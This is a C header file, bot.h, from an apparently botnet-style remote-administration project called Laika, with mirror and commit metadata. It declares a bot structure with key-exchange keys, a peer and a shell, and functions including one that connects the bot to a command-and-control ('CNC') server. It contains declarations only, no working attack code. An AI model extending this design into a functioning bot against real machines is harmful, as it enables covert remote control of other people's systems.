1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-04 22:00:06 +00:00
Laika/bot/include/bot.h
CPunch 8438378560 Major refactoring
lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough.
2022-02-28 16:27:55 -06:00

25 lines
632 B
C

#ifndef LAIKA_BOT_H
#define LAIKA_BOT_H
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsodium.h"
struct sLaika_shell;
struct sLaika_bot {
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_pollList pList;
struct sLaika_peer *peer;
struct sLaika_shell *shell;
};
struct sLaika_bot *laikaB_newBot(void);
void laikaB_freeBot(struct sLaika_bot *bot);
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
bool laikaB_poll(struct sLaika_bot *bot, int timeout);
#endif